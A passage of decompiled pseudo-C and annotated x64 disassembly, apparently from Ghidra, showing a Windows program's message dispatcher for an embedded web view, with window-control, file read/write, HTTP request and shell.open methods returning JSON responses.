            *(tagPOINT *)((longlong)local_d8 + 0x30) = tStack_250;
            tStack_258.x = 0;
            tStack_258.y = 0;
            tStack_250.x = 0;
            tStack_250.y = 0;
            tStack_248.x = 0;
            tStack_248.y = 0;
            *(void **)((longlong)local_d8 + 0x40) = local_240;
            *(undefined8 *)((longlong)local_d8 + 0x48) = uStack_238;
            *(undefined8 *)((longlong)local_d8 + 0x50) = local_230;
            local_240 = (void *)0x0;
            uStack_238 = 0;
            local_230 = 0;
            *(void **)((longlong)local_d8 + 0x58) = pvStack_228;
            *(void **)((longlong)local_d8 + 0x60) = local_220;
            *(undefined8 *)((longlong)local_d8 + 0x68) = uStack_218;
            pvStack_228 = (void *)0x0;
            local_220 = (void *)0x0;
            uStack_218 = 0;
            local_d8 = (longlong *)((longlong)local_d8 + 0x70);
          }
          else {
            pbVar25 = &DAT_14009ba01;
            ptVar33 = &local_268;
            local_d8 = FUN_1400088a0((longlong *)&plStack_e0,"edge",(longlong *)ptVar33);
          }
          edge_handler((longlong *)&local_120,(longlong *)pbVar25,ptVar33,in_R9);
          pvVar6 = pvStack_228;
          pvVar15 = local_220;
          if (pvStack_228 != (void *)0x0) {
            for (; pvVar6 != pvVar15; pvVar15 = (void *)((longlong)pvVar15 + -0x70)) {
              FUN_140007cb0((longlong)pvVar15 + -0x58);
              if ((*(byte *)((longlong)pvVar15 + -0x70) & 1) != 0) {
                FUN_14001f8e0(*(void **)((longlong)pvVar15 + -0x60));
              }
            }
            local_220 = pvVar6;
            FUN_14001f8e0(pvStack_228);
          }
          if (local_240 != (void *)0x0) {
            FUN_140008de0((longlong)&local_240,(longlong)local_240);
            FUN_14001f8e0(local_240);
          }
          if (((ulonglong)tStack_258 & 1) != 0) {
            FUN_14001f8e0((void *)tStack_248);
          }
          plVar24 = plStack_e0;
          plVar12 = local_d8;
          if (plStack_e0 != (longlong *)0x0) {
            for (; plVar24 != plVar12; plVar12 = plVar12 + -0xe) {
              FUN_140007cb0((longlong)(plVar12 + -0xb));
              if ((*(byte *)(plVar12 + -0xe) & 1) != 0) {
                FUN_14001f8e0((void *)plVar12[-0xc]);
              }
            }
            local_d8 = plVar24;
            FUN_14001f8e0(plStack_e0);
          }
          if (local_f8 != (void *)0x0) {
            FUN_140008de0((longlong)&local_f8,(longlong)local_f8);
            FUN_14001f8e0(local_f8);
          }
          if ((uStack_110 & 1) != 0) {
            FUN_14001f8e0(pvStack_100);
          }
        }
      }
      else {
        if (_local_208 != 3) goto LAB_140005ccc;
LAB_140005db0:
        ptVar31 = (tagPOINT *)local_20e;
        if ((local_210[0] & 1) != 0) {
          ptVar31 = (tagPOINT *)auStack_204._4_8_;
        }
        if ((short)ptVar31->x != 0x6d) goto LAB_140005f17;
        pLVar11 = (LONG *)local_20e;
        if ((local_210[0] & 1) != 0) {
          pLVar11 = (LONG *)auStack_204._4_8_;
        }
        if (*(short *)((longlong)pLVar11 + 2) != 0x69) goto LAB_140005f17;
        pLVar11 = (LONG *)(local_20e + 4);
        if ((local_210[0] & 1) != 0) {
          pLVar11 = (LONG *)(auStack_204._4_8_ + 4);
        }
        if ((short)*pLVar11 != 0x6e) goto LAB_140005f17;
        ShowWindow(DAT_1400c9450,6);
      }
LAB_140006466:
      if ((local_210[0] & 1) != 0) {
        FUN_14001f8e0((void *)auStack_204._4_8_);
      }
    }
    pvVar6 = pvStack_188;
    pvVar15 = local_180;
    if (pvStack_188 != (void *)0x0) {
      for (; pvVar6 != pvVar15; pvVar15 = (void *)((longlong)pvVar15 + -0x70)) {
        FUN_140007cb0((longlong)pvVar15 + -0x58);
        if ((*(byte *)((longlong)pvVar15 + -0x70) & 1) != 0) {
          FUN_14001f8e0(*(void **)((longlong)pvVar15 + -0x60));
        }
      }
      local_180 = pvVar6;
      FUN_14001f8e0(pvStack_188);
    }
    if (local_1a0 != (void *)0x0) {
      FUN_140008de0((longlong)&local_1a0,(longlong)local_1a0);
      FUN_14001f8e0(local_1a0);
    }
    local_98 = local_158;
    local_a8 = local_168;
    if (((ulonglong)pvStack_1b8 & 1) != 0) {
      FUN_14001f8e0(pvStack_1a8);
      local_98 = local_158;
      local_a8 = local_168;
    }
    goto joined_r0x0001400069ee;
  }
  if (local_148 == 0) goto LAB_140005bfc;
LAB_140005bac:
  if ((local_150 & 1) == 0) {
    if (local_150._2_2_ != 0x22) goto LAB_140005bbe;
    goto LAB_140005bfc;
  }
  if (*local_140 == 0x22) goto LAB_140005bfc;
LAB_140005bbe:
  FUN_140002f80(&local_a8,(byte *)&local_150);
  local_60[0] = local_98;
  if ((local_a8 & 1) == 0) {
    local_60[0] = local_a7;
  }
  local_120.x = 0;
  local_118 = 0;
  uStack_110 = 0;
  local_108 = 0;
  pvStack_100 = (void *)0x0;
  local_f8 = (void *)0x0;
  uStack_f0 = 0;
  local_e8 = 0;
  plStack_e0 = (longlong *)0x0;
  local_d8 = (longlong *)0x0;
  puStack_d0 = (undefined1 *)0x0;
  uVar10 = json_parser((longlong *)local_60,&local_120.x,in_R8,(ulonglong)in_R9);
  if (((byte)uVar10 & local_120.x == 6U) != 0) {
    if (plStack_e0 != local_d8) {
      plVar12 = plStack_e0 + 3;
      do {
        bVar1 = *(byte *)(plVar12 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 2) goto LAB_140005f0c;
        }
        else if (plVar12[-2] == 2) {
LAB_140005f0c:
          if ((bVar1 & 1) == 0) {
            psVar9 = (short *)((longlong)plVar12 + -0x17);
          }
          else {
            psVar9 = (short *)plVar12[-1];
          }
          if (*psVar9 == 0x6469) goto LAB_140005f22;
        }
        plVar24 = plVar12 + 0xb;
        plVar12 = plVar12 + 0xe;
      } while (plVar24 != local_d8);
    }
    plVar12 = (longlong *)0x0;
LAB_140005f22:
    local_268.y._3_1_ = local_268.y._3_1_;
    local_268._0_7_ = 0x646f6874656d0c;
    if (plStack_e0 != local_d8) {
      plVar24 = plStack_e0 + 3;
      do {
        bVar1 = *(byte *)(plVar24 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 6) goto LAB_140005fbc;
        }
        else if (plVar24[-2] == 6) {
LAB_140005fbc:
          if ((bVar1 & 1) == 0) {
            puVar29 = (uint *)((longlong)plVar24 + -0x17);
          }
          else {
            puVar29 = (uint *)plVar24[-1];
          }
          uVar10 = (ulonglong)(*puVar29 ^ 0x6874656d);
          if ((short)puVar29[1] == 0x646f && (*puVar29 ^ 0x6874656d) == 0) {
            if (plVar12 != (longlong *)0x0) {
              uVar13 = 0;
              if ((int)*plVar12 == 3) {
                uVar13 = (longlong)(double)plVar12[1];
              }
              local_78[0] = 0;
              puVar34 = local_78;
              FUN_140007d10((longlong *)&local_1e0,(int *)plVar24,(byte *)puVar34,uVar10);
              local_c0 = 0xc;
              local_bf = 0x61726170;
              local_bb = 0x736d;
              local_b9 = 0;
              if ((local_120.x != 6) || (plStack_e0 == local_d8)) goto LAB_140006607;
              plVar12 = plStack_e0 + 3;
              goto LAB_1400065e3;
            }
            break;
          }
        }
        plVar32 = plVar24 + 0xb;
        plVar24 = plVar24 + 0xe;
      } while (plVar32 != local_d8);
    }
  }
  goto LAB_140006950;
LAB_1400065e3:
  do {
    bVar1 = *(byte *)(plVar12 + -3);
    if ((bVar1 & 1) == 0) {
      uVar26 = (ulonglong)(bVar1 >> 1);
    }
    else {
      uVar26 = plVar12[-2];
    }
    if (uVar26 == 6) {
      if ((bVar1 & 1) == 0) {
        piVar22 = (int *)((longlong)plVar12 + -0x17);
      }
      else {
        piVar22 = (int *)plVar12[-1];
      }
      if ((short)piVar22[1] == 0x736d && *piVar22 == 0x61726170) goto LAB_140006609;
    }
    plVar24 = plVar12 + 0xb;
    plVar12 = plVar12 + 0xe;
  } while (plVar24 != local_d8);
LAB_140006607:
  plVar12 = (longlong *)0x0;
LAB_140006609:
  if ((local_1e0 & 1) == 0) {
    local_1df._7_8_ = ZEXT18(local_1e0 >> 1);
  }
  switch(local_1df._7_8_) {
  case 7:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*(int *)((longlong)puVar17 + 3) == 0x6e696d2e && (int)*puVar17 == 0x2e6e6977) {
      ShowWindow(DAT_1400c9450,6);
LAB_1400068d9:
      local_268._0_6_ = 0x6575727408;
      local_1c8._0_1_ = 0;
      local_1c8._1_1_ = 0;
      json_response_builder(uVar13,'\x01',(byte *)&local_268,(byte *)&local_1c8);
      goto LAB_14000690c;
    }
    break;
  case 8:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*puVar17 == 0x676172642e6e6977) {
      GetCursorPos(&local_268);
      ReleaseCapture();
      SendMessageW(DAT_1400c9450,0xa1,2,(ulonglong)(local_268.y << 0x10 | (uint)(ushort)local_268.x)
                  );
      goto LAB_1400068d9;
    }
    break;
  case 9:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((char)puVar17[1] == 'e' && *puVar17 == 0x736f6c632e6e6977) {
      PostMessageW(DAT_1400c9450,0x10,0,0);
      goto LAB_1400068d9;
    }
    break;
  case 10:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((short)puVar17[1] == 0x657a && *puVar17 == 0x697365722e6e6977) {
      edge_handler(plVar12,(longlong *)&switchD_140006642::switchdataD_14009f458,puVar34,uVar10);
      goto LAB_1400068d9;
    }
    break;
  case 0xb:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if (*(longlong *)((longlong)puVar17 + 3) == 0x7478655464616572 && *puVar17 == 0x54646165722e7366
       ) {
      file_reader(uVar13,param_2,param_3,param_4);
      goto LAB_14000691d;
    }
    break;
  case 0xc:
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    uVar10 = *puVar17 ^ 0x7165722e70747468;
    puVar34 = (ushort *)((ulonglong)(uint)puVar17[1] ^ 0x74736575 | uVar10);
    if (puVar34 == (ushort *)0x0) {
      if (plVar12 == (longlong *)0x0) {
        local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
        local_1c8._0_1_ = 0x1e;
        local_1c8._1_1_ = 0x70;
        local_1c8._2_2_ = 0x7261;
        local_1c8._4_2_ = 0x6d61;
        local_1c8._6_2_ = 0x2073;
        uStack_1c0 = 0x72;
        uStack_1bf = 0x69757165;
        uStack_1bb = 0x72;
        uStack_1ba = 0x65;
        uStack_1b9 = 100;
        pvStack_1b8 = (void *)((ulonglong)pvStack_1b8 & 0xffffffffffffff00);
        json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
      }
      else {
        local_268.x = 0x6c727506;
        if ((int)*plVar12 == 6) {
          if ((int *)plVar12[8] != (int *)plVar12[9]) {
            piVar22 = (int *)plVar12[8] + 6;
            do {
              bVar1 = *(byte *)(piVar22 + -6);
              if ((bVar1 & 1) == 0) {
                uVar26 = (ulonglong)(bVar1 >> 1);
              }
              else {
                uVar26 = *(ulonglong *)(piVar22 + -4);
              }
              if (uVar26 == 3) {
                if ((bVar1 & 1) == 0) {
                  psVar9 = (short *)((longlong)piVar22 + -0x17);
                }
                else {
                  psVar9 = *(short **)(piVar22 + -2);
                }
                if ((char)psVar9[1] == 'l' && *psVar9 == 0x7275) {
                  local_1c8._0_1_ = 0;
                  local_1c8._1_1_ = 0;
                  pbVar25 = (byte *)&local_1c8;
                  piVar27 = piVar22;
                  FUN_140007d10((longlong *)&local_268,piVar22,pbVar25,uVar10);
                  tVar36 = tStack_260;
                  tVar30 = (tagPOINT)((ulonglong)local_268 >> 1 & 0x7f);
                  if (((ulonglong)local_268 & 1) != 0) {
                    FUN_14001f8e0((void *)tStack_258);
                    tVar30 = tVar36;
                  }
                  if (((byte)local_1c8 & 1) != 0) {
                    FUN_14001f8e0(pvStack_1b8);
                  }
                  if (tVar30 != (tagPOINT)0x0) {
                    puVar17 = (ulonglong *)FUN_14001f800(0x68,piVar27,pbVar25,uVar10);
                    *puVar17 = 0;
                    puVar17[1] = 0;
                    puVar17[10] = 0;
                    puVar17[0xb] = 0;
                    puVar17[8] = 0;
                    puVar17[9] = 0;
                    puVar17[6] = 0;
                    puVar17[7] = 0;
                    puVar17[4] = 0;
                    puVar17[5] = 0;
                    puVar17[2] = 0;
                    puVar17[3] = 0;
                    puVar17[0xc] = 0;
                    *puVar17 = uVar13;
                    local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
                    FUN_140007d10(&local_1c8,piVar22,(byte *)&local_1f8,uVar10);
                    FUN_140002e30((byte *)&local_268,(byte *)&local_1c8);
                    ptVar31 = (tagPOINT *)(puVar17 + 1);
                    if ((ptVar31->x & 1) != 0) {
                      FUN_14001f8e0((void *)puVar17[3]);
                    }
                    *(tagPOINT *)(puVar17 + 3) = tStack_258;
                    *ptVar31 = local_268;
                    *(tagPOINT *)(puVar17 + 2) = tStack_260;
                    LVar4 = local_268.y;
                    local_268.x._0_2_ = (ushort)local_268.x & 0xff00;
                    local_268.x = (LONG)(ushort)local_268.x;
                    local_268.y = LVar4;
                    if (((byte)local_1c8 & 1) != 0) {
                      FUN_14001f8e0(pvStack_1b8);
                    }
                    if (((ulonglong)local_1f8 & 1) != 0) {
                      FUN_14001f8e0((void *)local_1e8);
                    }
                    local_268._0_7_ = 0x646f6874656d0c;
                    iVar7 = (int)*plVar12;
                    if (iVar7 != 6) goto LAB_140006e00;
                    if ((int *)plVar12[8] == (int *)plVar12[9]) goto LAB_140006e00;
                    piVar22 = (int *)plVar12[8] + 6;
                    goto LAB_140006d45;
                  }
                  break;
                }
              }
              piVar27 = piVar22 + 0x16;
              piVar22 = piVar22 + 0x1c;
            } while (piVar27 != (int *)plVar12[9]);
          }
        }
        local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
        local_1c8._0_1_ = 0x18;
        local_1c8._1_1_ = 0x75;
        local_1c8._2_2_ = 0x6c72;
        local_1c8._4_2_ = 0x7220;
        local_1c8._6_2_ = 0x7165;
        uStack_1c0 = 0x75;
        uStack_1bf = 0x64657269;
        uStack_1bb = 0;
        json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
      }
      goto LAB_14000690c;
    }
    puVar17 = local_1d0;
    if ((local_1e0 & 1) == 0) {
      puVar17 = (ulonglong *)local_1df;
    }
    if ((int)puVar17[1] == 0x74786554 && *puVar17 == 0x65746972772e7366) {
      file_writer(uVar13,param_2,param_3,param_4);
      goto LAB_14000691d;
    }
  }
  uVar16 = FUN_140008c00(&local_1e0,"shell.open",puVar34,uVar10);
  if ((char)uVar16 == '\0') {
    FUN_140004fa0((longlong *)&local_268,"",puVar34,uVar10);
    FUN_140012ef0(&local_1c8,"unknown method: ",&local_1e0,uVar10);
    json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
    if (((byte)local_1c8 & 1) != 0) {
      FUN_14001f8e0(pvStack_1b8);
    }
LAB_14000690c:
    if (((ulonglong)local_268 & 1) != 0) {
      FUN_14001f8e0((void *)tStack_258);
    }
  }
  else {
    url_launcher(uVar13,(int *)plVar12,puVar34,uVar10);
  }
  goto LAB_14000691d;
LAB_140006d45:
  do {
    bVar1 = *(byte *)(piVar22 + -6);
    if ((bVar1 & 1) == 0) {
      uVar10 = (ulonglong)(bVar1 >> 1);
    }
    else {
      uVar10 = *(ulonglong *)(piVar22 + -4);
    }
    if (uVar10 == 6) {
      if ((bVar1 & 1) == 0) {
        puVar29 = (uint *)((longlong)piVar22 + -0x17);
      }
      else {
        puVar29 = *(uint **)(piVar22 + -2);
      }
      if ((short)puVar29[1] == 0x646f && (*puVar29 ^ 0x6874656d) == 0) {
        local_1f8 = (tagPOINT)((ulonglong)local_1f8 & 0xffffffffffff0000);
        FUN_140007d10(&local_1c8,piVar22,(byte *)&local_1f8,(ulonglong)(*puVar29 ^ 0x6874656d));
        FUN_140002e30((byte *)&local_268,(byte *)&local_1c8);
        if ((puVar17[4] & 1) != 0) {
          FUN_14001f8e0((void *)puVar17[6]);
        }
        *(tagPOINT *)(puVar17 + 6) = tStack_258;
        *(tagPOINT *)(puVar17 + 4) = local_268;
        *(tagPOINT *)(puVar17 + 5) = tStack_260;
        LVar4 = local_268.y;
        local_268.x._0_2_ = (ushort)local_268.x & 0xff00;
        local_268.x = (LONG)(ushort)local_268.x;
        local_268.y = LVar4;
        if (((byte)local_1c8 & 1) != 0) {
          FUN_14001f8e0(pvStack_1b8);
        }
        if (((ulonglong)local_1f8 & 1) != 0) {
          FUN_14001f8e0((void *)local_1e8);
        }
        iVar7 = (int)*plVar12;
        break;
      }
    }
    piVar27 = piVar22 + 0x16;
    piVar22 = piVar22 + 0x1c;
  } while (piVar27 != (int *)plVar12[9]);
LAB_140006e00:
  local_268._0_5_ = 0x79646f6208;
  if (iVar7 == 6) {
    puVar19 = (ulonglong *)plVar12[8];
    puVar35 = (ulonglong *)plVar12[9];
    if (puVar19 != puVar35) {
      puVar28 = puVar19 + 5;
      do {
        bVar1 = (byte)puVar28[-5];
        if ((bVar1 & 1) == 0) {
          uVar10 = (ulonglong)(bVar1 >> 1);
        }
        else {
          uVar10 = puVar28[-4];
        }
        if (uVar10 == 4) {
          if ((bVar1 & 1) == 0) {
            piVar22 = (int *)((longlong)puVar28 + -0x27);
          }
          else {
            piVar22 = (int *)puVar28[-3];
          }
          if (*piVar22 == 0x79646f62) {
            if ((int)puVar28[-2] != 4) goto LAB_140006ee2;
            FUN_140010580(puVar17 + 10,puVar28);
            iVar7 = (int)*plVar12;
            break;
          }
        }
        puVar37 = puVar28 + 9;
        puVar28 = puVar28 + 0xe;
      } while (puVar37 != puVar35);
    }
  }
  local_268.x = 0x6165680e;
  local_268.y = 0x73726564;
  if (iVar7 == 6) {
    puVar19 = (ulonglong *)plVar12[8];
    puVar35 = (ulonglong *)plVar12[9];
LAB_140006ee2:
    do {
      local_268.x = 0x6165680e;
      local_268.y = 0x73726564;
      if (puVar19 == puVar35) break;
      bVar1 = (byte)*puVar19;
      if ((bVar1 & 1) == 0) {
        uVar10 = (ulonglong)(bVar1 >> 1);
      }
      else {
        uVar10 = puVar19[1];
      }
      if (uVar10 == 7) {
        if ((bVar1 & 1) == 0) {
          puVar29 = (uint *)((longlong)puVar19 + 1);
        }
        else {
          puVar29 = (uint *)puVar19[2];
        }
        uVar10 = (ulonglong)(*puVar29 ^ 0x64616568);
        if (*(int *)((longlong)puVar29 + 3) == 0x73726564 && (*puVar29 ^ 0x64616568) == 0) {
          if ((int)puVar19[3] == 6) {
            pbVar25 = (byte *)puVar19[0xb];
            pbVar2 = (byte *)puVar19[0xc];
            if (pbVar25 != pbVar2) {
              do {
                FUN_140002e30((byte *)&local_138,pbVar25);
                ptVar18 = (tagPOINT *)FUN_1400111b0(&local_138,L": ");
                local_1e8 = ptVar18[2];
                local_1f8 = *ptVar18;
                tStack_1f0 = ptVar18[1];
                ptVar18->x = 0;
                ptVar18->y = 0;
                ptVar18[1].x = 0;
                ptVar18[1].y = 0;
                ptVar18[2].x = 0;
                ptVar18[2].y = 0;
                local_90[0] = (undefined1 *)((ulonglong)local_90[0] & 0xffffffffffff0000);
                FUN_140007d10((longlong *)local_210,(int *)(pbVar25 + 0x18),(byte *)local_90,uVar10)
                ;
                FUN_140002e30(&local_168,local_210);
                uVar26 = (ulonglong)(local_168 >> 1);
                puVar5 = local_166;
                if ((local_168 & 1) != 0) {
                  uVar26 = local_160;
                  puVar5 = local_158;
                }
                puVar19 = FUN_140011290((ulonglong *)&local_1f8,puVar5,uVar26);
                pvStack_1b8 = (void *)puVar19[2];
                uVar26 = *puVar19;
                uVar3 = puVar19[1];
                local_1c8._0_1_ = (byte)uVar26;
                local_1c8._1_1_ = (undefined1)(uVar26 >> 8);
                local_1c8._2_2_ = (undefined2)(uVar26 >> 0x10);
                local_1c8._4_2_ = (undefined2)(uVar26 >> 0x20);
                local_1c8._6_2_ = (undefined2)(uVar26 >> 0x30);
                uStack_1c0 = (undefined1)uVar3;
                uStack_1bf = (undefined4)(uVar3 >> 8);
                uStack_1bb = (undefined1)(uVar3 >> 0x28);
                uStack_1ba = (undefined1)(uVar3 >> 0x30);
                uStack_1b9 = (undefined1)(uVar3 >> 0x38);
                *puVar19 = 0;
                puVar19[1] = 0;
                puVar19[2] = 0;
                ptVar18 = (tagPOINT *)FUN_1400111b0(&local_1c8,L"\r\n");
                tStack_258 = ptVar18[2];
                local_268 = *ptVar18;
                tStack_260 = ptVar18[1];
                ptVar18->x = 0;
                ptVar18->y = 0;
                ptVar18[1].x = 0;
                ptVar18[1].y = 0;
                ptVar18[2].x = 0;
                ptVar18[2].y = 0;
                tVar36 = (tagPOINT)((ulonglong)local_268 >> 1 & 0x7f);
                tVar30 = (tagPOINT)((longlong)&local_268.x + 2);
                if (((ulonglong)local_268 & 1) != 0) {
                  tVar36 = tStack_260;
                  tVar30 = tStack_258;
                }
                FUN_140011290(puVar17 + 7,(void *)tVar30,(ulonglong)tVar36);
                if (((ulonglong)local_268 & 1) != 0) {
                  FUN_14001f8e0((void *)tStack_258);
                }
                if (((byte)local_1c8 & 1) != 0) {
                  FUN_14001f8e0(pvStack_1b8);
                }
                if ((local_168 & 1) != 0) {
                  FUN_14001f8e0(local_158);
                }
                if ((local_210[0] & 1) != 0) {
                  FUN_14001f8e0((void *)auStack_204._4_8_);
                }
                if (((ulonglong)local_90[0] & 1) != 0) {
                  FUN_14001f8e0(local_80);
                }
                if (((ulonglong)local_1f8 & 1) != 0) {
                  FUN_14001f8e0((void *)local_1e8);
                }
                if ((local_138 & 1) != 0) {
                  FUN_14001f8e0(local_128);
                }
                pbVar25 = pbVar25 + 0x70;
              } while (pbVar25 != pbVar2);
            }
          }
          break;
        }
      }
      puVar19 = puVar19 + 0xe;
    } while( true );
  }
  hObject = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,http_request,puVar17,0,(LPDWORD)0x0);
  if (hObject == (HANDLE)0x0) {
    if ((puVar17[10] & 1) == 0) {
      if ((puVar17[7] & 1) == 0) goto LAB_1400071b3;
LAB_14000723f:
      FUN_14001f8e0((void *)puVar17[9]);
      if ((puVar17[4] & 1) != 0) goto LAB_140007252;
LAB_1400071bd:
      bVar1 = (byte)ptVar31->x;
    }
    else {
      FUN_14001f8e0((void *)puVar17[0xc]);
      if ((puVar17[7] & 1) != 0) goto LAB_14000723f;
LAB_1400071b3:
      if ((puVar17[4] & 1) == 0) goto LAB_1400071bd;
LAB_140007252:
      FUN_14001f8e0((void *)puVar17[6]);
      bVar1 = (byte)ptVar31->x;
    }
    if ((bVar1 & 1) != 0) {
      FUN_14001f8e0((void *)puVar17[3]);
    }
    FUN_14001f8e0(puVar17);
    local_268 = (tagPOINT)((ulonglong)local_268 & 0xffffffffffff0000);
    local_1c8._0_1_ = 0x1a;
    local_1c8._1_1_ = 0x74;
    local_1c8._2_2_ = 0x7268;
    local_1c8._4_2_ = 0x6165;
    local_1c8._6_2_ = 0x2064;
    uStack_1c0 = 0x66;
    uStack_1bf = 0x656c6961;
    uStack_1bb = 100;
    uStack_1ba = 0;
    json_response_builder(uVar13,'\0',(byte *)&local_268,(byte *)&local_1c8);
    goto LAB_14000690c;
  }
  CloseHandle(hObject);
LAB_14000691d:
  if ((local_c0 & 1) != 0) {
    FUN_14001f8e0(local_b0);
  }
  if ((local_1e0 & 1) != 0) {
    FUN_14001f8e0(local_1d0);
  }
  if ((local_78[0] & 1) != 0) {
    FUN_14001f8e0(local_68);
  }
LAB_140006950:
  plVar24 = plStack_e0;
  plVar12 = local_d8;
  if (plStack_e0 != (longlong *)0x0) {
    for (; plVar24 != plVar12; plVar12 = plVar12 + -0xe) {
      FUN_140007cb0((longlong)(plVar12 + -0xb));
      if ((*(byte *)(plVar12 + -0xe) & 1) != 0) {
        FUN_14001f8e0((void *)plVar12[-0xc]);
      }
    }
    local_d8 = plVar24;
    FUN_14001f8e0(plStack_e0);
  }
  if (local_f8 != (void *)0x0) {
    FUN_140008de0((longlong)&local_f8,(longlong)local_f8);
    FUN_14001f8e0(local_f8);
  }
  if ((uStack_110 & 1) != 0) {
    FUN_14001f8e0(pvStack_100);
  }
joined_r0x0001400069ee:
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_150 & 1) != 0) {
    FUN_14001f8e0(local_140);
  }
  return 0;
}

Assembly · 1280 instructions, 97 annotated
AddressBytesInstructionComment
140005a9041 57PUSH R15
140005a9241 56PUSH R14
140005a9441 55PUSH R13
140005a9641 54PUSH R12
140005a9856PUSH RSI
140005a9957PUSH RDI
140005a9a55PUSH RBP
140005a9b53PUSH RBX
140005a9c48 81 ec 58 02 00 00SUB RSP,0x258
140005aa30f 29 b4 24 40 02 00 00MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
140005aab4c 89 c1MOV RCX,R8
140005aae48 c7 84 24 d0 01 00 00 …MOV qword ptr [RSP + local_c8],0x0
140005aba49 8b 00MOV RAX,qword ptr [R8]
140005abd48 8d 94 24 d0 01 00 00LEA RDX,[RSP + 0x1d0]
140005ac5ff 50 20CALL qword ptr [RAX + 0x20]
140005ac885 c0TEST EAX,EAX
140005aca0f 99 c0SETNS AL
140005acd48 8b b4 24 d0 01 00 00MOV RSI,qword ptr [RSP + local_c8]
140005ad548 85 f6TEST RSI,RSI
140005ad80f 95 c1SETNZ CL
140005adb20 c1AND CL,AL
140005add80 f9 01CMP CL,0x1
140005ae00f 85 2e 0f 00 00JNZ LAB_140006a14
140005ae649 be f5 ff ff ff ff ff …MOV R14,0x7ffffffffffffff5
140005af048 89 f1MOV RCX,RSI
140005af3e8 98 47 09 00CALL wcslen
140005af84c 39 f0CMP RAX,R14
140005afb0f 87 6a 17 00 00JA LAB_14000726b
140005b0148 89 c7MOV RDI,RAX
140005b0448 83 f8 0bCMP RAX,0xb
140005b0873 19JNC LAB_140005b23
140005b0a8d 04 3fLEA EAX,[RDI + RDI*0x1]
140005b0d88 84 24 48 01 00 00MOV byte ptr [RSP + local_150],AL
140005b1448 8d 9c 24 4a 01 00 00LEA RBX,[RSP + 0x14a]
140005b1c48 85 ffTEST RDI,RDI
140005b1f75 42JNZ LAB_140005b63
140005b21eb 51JMP LAB_140005b74
LAB_140005b23:
140005b2348 89 f8MOV RAX,RDI
140005b2648 83 c8 03OR RAX,0x3
140005b2a48 8d 48 01LEA RCX,[RAX + 0x1]
140005b2e48 83 f8 0bCMP RAX,0xb
140005b3241 bf 0e 00 00 00MOV R15D,0xe
140005b384c 0f 45 f9CMOVNZ R15,RCX
140005b3c4b 8d 0c 3fLEA RCX,[R15 + R15*0x1]
140005b40e8 bb 9c 01 00CALL FUN_14001f800; FUN_14001f800: malloc
140005b4548 89 c3MOV RBX,RAX
140005b4848 89 84 24 58 01 00 00MOV qword ptr [RSP + local_140],RAX
140005b5049 ff c7INC R15
140005b534c 89 bc 24 48 01 00 00MOV qword ptr [RSP + local_150],R15
140005b5b48 89 bc 24 50 01 00 00MOV qword ptr [RSP + local_148],RDI
LAB_140005b63:
140005b6349 89 f8MOV R8,RDI
140005b6649 01 f8ADD R8,RDI
140005b6948 89 d9MOV RCX,RBX
140005b6c48 89 f2MOV RDX,RSI
140005b6fe8 cc 46 09 00CALL memmove
LAB_140005b74:
140005b7466 c7 04 7b 00 00MOV word ptr [RBX + RDI*0x2],0x0
140005b7a48 8b 8c 24 d0 01 00 00MOV RCX,qword ptr [RSP + local_c8]
140005b82ff 15 00 c7 0a 00CALL qword ptr [PTR_CoTaskMemFree_1400b2288]
140005b880f b6 84 24 48 01 00 00MOVZX EAX,byte ptr [RSP + local_150]
140005b90a8 01TEST AL,0x1
140005b9274 0fJZ LAB_140005ba3
140005b9448 8b 8c 24 50 01 00 00MOV RCX,qword ptr [RSP + local_148]
140005b9c48 85 c9TEST RCX,RCX
140005b9f75 0bJNZ LAB_140005bac
140005ba1eb 59JMP LAB_140005bfc
LAB_140005ba3:
140005ba389 c1MOV ECX,EAX
140005ba5d1 e9SHR ECX,0x1
140005ba748 85 c9TEST RCX,RCX
140005baa74 50JZ LAB_140005bfc
LAB_140005bac:
140005baca8 01TEST AL,0x1
140005bae74 3eJZ LAB_140005bee
140005bb048 8b 84 24 58 01 00 00MOV RAX,qword ptr [RSP + local_140]
140005bb866 83 38 22CMP word ptr [RAX],0x22
140005bbc74 3eJZ LAB_140005bfc
LAB_140005bbe:
140005bbe48 8d 8c 24 f0 01 00 00LEA RCX,[RSP + 0x1f0]
140005bc648 8d 94 24 48 01 00 00LEA RDX,[RSP + 0x148]
140005bcee8 ad d3 ff ffCALL FUN_140002f80; FUN_140002f80: WideCharToMultiByte
140005bd3f6 84 24 f0 01 00 00 01TEST byte ptr [RSP + local_a8],0x1
140005bdb0f 84 3f 02 00 00JZ LAB_140005e20
140005be148 8b 84 24 00 02 00 00MOV RAX,qword ptr [RSP + local_98]
140005be9e9 3a 02 00 00JMP LAB_140005e28
LAB_140005bee:
140005bee48 8d 84 24 4a 01 00 00LEA RAX,[RSP + 0x14a]
140005bf666 83 38 22CMP word ptr [RAX],0x22
140005bfa75 c2JNZ LAB_140005bbe
LAB_140005bfc:
140005bfc48 8d 8c 24 30 01 00 00LEA RCX,[RSP + 0x130]
140005c0448 8d 94 24 48 01 00 00LEA RDX,[RSP + 0x148]
140005c0ce8 6f d3 ff ffCALL FUN_140002f80; FUN_140002f80: WideCharToMultiByte
140005c11f6 84 24 30 01 00 00 01TEST byte ptr [RSP + local_168],0x1
